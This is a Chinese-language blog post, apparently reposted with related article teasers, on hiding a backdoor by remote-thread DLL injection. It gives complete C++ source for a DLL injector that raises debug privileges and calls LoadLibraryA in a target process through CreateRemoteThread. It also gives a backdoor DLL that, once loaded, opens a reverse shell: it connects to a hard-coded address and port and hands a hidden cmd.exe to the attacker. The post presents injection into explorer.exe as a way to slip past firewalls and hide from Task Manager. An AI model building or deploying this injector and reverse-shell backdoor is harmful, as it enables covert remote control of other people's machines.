安全之路 —— 利用远程线程注入的方法(使用DLL)实现穿墙与隐藏进程

简介

大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文件注入系统认可的正常进程,你会发现任务管理器以及找不到独立出现的恶意进程项了。反向连接型后门采用这种技术,注入防火墙认可的进程(例如大部分系统进程,像explorer.exe就很常见)还能够获得一定的穿墙效果

进程注入虽然已经是将近10年前的技术了,但是今天出现的很多新型黑客技术大多数还是基于这类老技术演变而来的。

C++代码样例

1.进程注入工具源码:

//////////////////////////////////////
//
// FileName : injectDll.cpp
// Creator : PeterZ1997
// Date : 2018-5-15 23:58
// Comment : DLL inject module
//
//////////////////////////////////////

#pragma once
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <windows.h>
#include <tlhelp32.h>

using namespace std;

#define MAX_COUNT 255

/**
 * @brief 提高进程权限
 * @param name   权限名
 */
BOOL EnableDebugPriv(LPCSTR name)
{
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tp;
    // 打开进程令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        printf("[!]Get Process Token Error!\n");
        return false;
    }
    // 获取权限Luid
    if (!LookupPrivilegeValue(NULL, name, &luid))
    {
        printf("[!]Get Privilege Error!\n");
        return false;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    // 修改进程权限
    if (!AdjustTokenPrivileges(hToken, false, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
    {
        printf("[!]Adjust Privilege Error!\n");
        return false;
    }
    return true;
}

/**
 * @brief 进程注入函数
 * @param pid            进程id
 * @param dllFileName    DLL文件的完整路径
 */
BOOL InjectDllProc(DWORD pid, LPCTSTR dllFileName)
{
    HANDLE hRemoteProcess;
    CHAR *pszDllSpace;
    if (!EnableDebugPriv(SE_DEBUG_NAME))
    {
        return false;
    }
    if ((hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == NULL)
    {
        printf("[!]Open Target Process Error!\n");
        return false;
    }
    if ((pszDllSpace = (CHAR*)VirtualAllocEx(hRemoteProcess, NULL, strlen(dllFileName) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL)
    {
        printf("[!]Alloc Space Error!\n");
        return false;
    }
    if (WriteProcessMemory(hRemoteProcess, pszDllSpace, (LPVOID)dllFileName, strlen(dllFileName) + 1, NULL) == 0)
    {
        printf("[!]Write to the Memory Error!\n");
        return false;
    }
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
    if (pfnStartAddr == NULL)
    {
        printf("[!]Get <LoadLibrary> Function Error!\n");
        return false;
    }
    HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszDllSpace, 0, NULL);
    if (hRemoteThread == NULL)
    {
        printf("[!]Create Remote Thread Error!\n");
        return false;
    }
    return true;
}

/**
 * @brief 获取进程id
 * @param procName  进程名
 */
DWORD GetProcPid(LPCSTR procName)
{
    DWORD pid = 0;
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    HANDLE hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcSnap == INVALID_HANDLE_VALUE)
    {
        printf("[!]Can not Create Process Snap !\n");
        return -1;
    }
    BOOL bProc = Process32First(hProcSnap, &pe32);
    while (bProc)
    {
        if (!stricmp(procName, pe32.szExeFile))
        {
            return pe32.th32ProcessID;
        }
        bProc = Process32Next(hProcSnap, &pe32);
    }
    CloseHandle(hProcSnap);
    return pid;
}

/**
 * @brief 主函数
 */
int main(int argc, char* argv[])
{
    CHAR dllPath[MAX_COUNT] = "\0";
    WIN32_FIND_DATA wfd;
    if (argc != 3)
    {
        printf("[*Usage*] injectDll.exe <Process Name> <Dll Name>\n");
        return 0;
    }
    GetCurrentDirectory(sizeof(dllPath), dllPath);
    StringCchCat(dllPath, sizeof(dllPath), "\\");
    StringCchCat(dllPath, sizeof(dllPath), argv[2]);
    if (FindFirstFile(argv[2], &wfd) == INVALID_HANDLE_VALUE)
    {
        printf("[!] Can not Find Dll File !\n");
        return 0;
    }
    DWORD pid = GetProcPid(argv[1]);
    if (pid != -1)
    {
        if (!InjectDllProc(pid, dllPath))
        {
            printf("[!]Inject Dll Error!\n");
            return 0;
        }
        printf("[*]Inject Dll Success!\n");
    }
    else
    {
        printf("[*]Inject Dll Error!\n");
        return 0;
    }
    return 0;
}

2.Dll文件样例源码:

/////////////////////////////////////////////
//
// FileName : BackDoorDLL.cpp
// Creator : PeterZ1997
// Date : 2018-5-11 00:10
// Comment : 零管道后门DLL
//
////////////////////////////////////////////

#pragma once
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <WinSock2.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

using namespace std;

#define MAX_COUNT 255

/**
 * @brief 启动Cmd进程,与socket实例通信
 * @param lpParameter    多线程函数参数,此为传入socket实例
 */
DWORD WINAPI StartShellProc(LPVOID lpParameter)
{
    CHAR cmdLine[MAX_COUNT] = "\0";
    SOCKET sServer = (SOCKET)lpParameter;
    STARTUPINFO si;
    GetStartupInfo(&si);
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sServer;
    GetSystemDirectory(cmdLine, sizeof(cmdLine));
    StringCchCat(cmdLine, sizeof(cmdLine), "\\cmd.exe");
    PROCESS_INFORMATION pi;
    CreateProcess(NULL, cmdLine, NULL, NULL, true, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    return 0;
}

/**
 * @brief socket建立函数
 * @param lpParameter    多线程函数参数,这里传入NULL
 */
DWORD WINAPI BackDoorThread(LPVOID lpParameter)
{
    CHAR szMessage[MAX_COUNT] = "===========> Hello,Admin <=============\n";
    WSADATA wsd;
    SOCKET sServer;
    sockaddr_in sin;
    if (WSAStartup(0x0202, &wsd)) return 0;
    if ((sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET)
    {
        return 0;
    }
    sin.sin_family = AF_INET;
    sin.sin_port = htons(45000);
    sin.sin_addr.S_un.S_addr = inet_addr("192.168.120.1");
    if (connect(sServer, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
    {
        return 0;
    }
    if (send(sServer, szMessage, strlen(szMessage), 0) == SOCKET_ERROR)
    {
        return 0;
    }
    HANDLE hThread = CreateThread(NULL, 0, StartShellProc, (LPVOID)sServer, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

/**
 * @brief DLL文件主函数
 */
BOOL WINAPI DllMain(
    _In_ HINSTANCE hinstDLL,
    _In_ DWORD     fdwReason,
    _In_ LPVOID    lpvReserved
)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, 0, BackDoorThread, NULL, 0, NULL);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return true;
}

原文地址:https://www.cnblogs.com/PeterZ1997/p/9532051.html

时间: 2024-12-28 08:59:19

安全之路 —— 利用远程线程注入的方法(使用DLL)实现穿墙与隐藏进程的相关文章

C++进程注入(通过远程线程注入进程)

需要本文代码请直接跳到文章最底部下载 注入进程的方法有很多,本文主要介绍通过远程线程来注入进程的方法: 我们知道,每个进程都有4GB的地址空间,windows可用的大小大概为1.5GB左右,远程线程注入的方法主要是,打开一个线程以后,将要注入的动态库的地址写入这个地址空间,然后调用开启远程线程的函数,来执行LoadLibraryA或者LoadLibraryW(其实不存在LoadLibrary这个函数,他只是一个宏,如果是UNICODE环境的话会调用LoadLibraryW,否则就是LoadLib

安全之路 —— 无DLL文件实现远程线程注入

简介 在之前的章节中,笔者曾介绍过有关于远程线程注入的知识,将后门.dll文件注入explorer.exe中实现绕过防火墙反弹后门.但一个.exe文件总要在注入时捎上一个.dll文件着实是怪麻烦的,那么有没有什么方法能够不适用.dll文件实现注入呢? 答案是有的,我们可以直接将功能写在线程函数中,然后直接将整个函数注入,这个方法相较之于DLL注入会稍微复杂一些,适用于对一些体积比较小的程序进行注入.但是要注意动态链接库的地址重定位问题,因为正常的文件一般会默认载入kernel32.dll文件,而

远程线程注入方法CreateRemoteThread

最近在整理学习Windows注入方面的知识,这个远程注入前面早写过,现在看看人家博客的理解整理,整理, 需要源码的可以到我的github上下载. 链接是  https://github.com/Arsense/WindowsCode 首先先来说说什么是注入,为什么要注入 0x00 Baise 注入就是把自己的Dll注入到人家的代码中,被注入的DLL拥有目标进程内存的访问权限,所以我们可以通过该 向某个进程注入DLL时的方法主要有以下三种: 创建远程线程(CreateRemoteThread()

奇技淫巧之调试被远程线程注入的DLL

远程线程注入, 这东西大家都懂的, 一般都被大家用来干些小小的坏事情,比如API Hook~~将DLL注入到其它进程并不是难事,问题是这个被注入的DLL不太好调试,调试DLL本来就是个比较头疼的问题,更何况是这种运行在其它进程空间的DLL, 被注入DLL的程序,不崩溃还好,崩溃了,要定位崩溃点,真是够麻烦的. 这几天,无意中发现了一个可以调试这种DLL的方法. 首先,需要准备两样东西: 1.微软的Detours库, 下载地址戳这里: 下载链接 2.打开Detours安装目录下的samples\s

【windows核心编程】使用远程线程注入DLL

前言 该技术是指通过在[目标进程]中创建一个[远程线程]来达到注入的目的. 创建的[远程线程]函数为LoadLibrary, 线程函数的参数为DLL名字, 想要做的工作在DLL中编写.  示意图如下:  相关API 1.创建远程线程 //该函数除了第一个参数为目标进程句柄外 //其他参数均和CreateThread一样 HANDLE hThread = CreateRemoteThread( __in HANDLE hProcess, //目标进程句柄 __in_opt LPSECURITY_A

远程线程注入dll

// CommonInject.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <windows.h> #include <WinUser.h> #include <WinDef.h> #include <iostream> #include <Tlhelp32.h> using namespa

远程线程注入

一丶远程线程注入的讲解 远程线程注入的原理,我会写一个远程线程开发的例子 我们总共需要几步 /*1.查找窗口,获取窗口句柄*/ /*2.根据窗口句柄,获得进程的PID*/ /*3.根据进程的PID,获得进程的句柄*/ /*4.根据进程的句柄,给进程申请额外内存空间*/ /*5.调用WriteProcessMemory,给进程写入DLL的路径*/ /*6.创建远程线程,执行我们的代码*/ /*7.调用退出代码,释放远程线程的dll*/ 每一步单独讲解 我们新建一个MFC 对话框程序,添加一个按钮,

详细解读:远程线程注入DLL到PC版微信

一.远程线程注入的原理 1.其基础是在 Windows 系统中,每个 .exe 文件在双击打开时都会加载 kernel32.dll 这个系统模块,该模块中有一个 LoadLibrary() 函数,可以将DLL文件加载到自身进程中. 2.这样,就可以用 CreateRemoteThread() 函数创建一个远程线程,让目标进程调用LoadLibrary() 来加载我们自己写的DLL .CreateRemoteThread() 有这几个参数比较关键:A:想要注入的进程的句柄,这里可以通过OpenPr

PE基础6_远程线程注入-HOOK(消息-InLine-IAT)

注入 概述 DLL注入的初始动力源自于程序员对其他第三方应用程序进行功能扩展的愿望 注入方式有 注册表注入 ComRes注入 APC注入 消息钩子注入 远程线程注入 依赖可信进程注入 劫持进程创建注入 输入法注入 远程线程注入 //要加载的dll路径 WCHAR szDllPath[] = L"C:\\Users\\42140\\source\\repos\\34windows原理PE \\Debug\\16InjectDll.dll"; ? int main() { //1.要注入,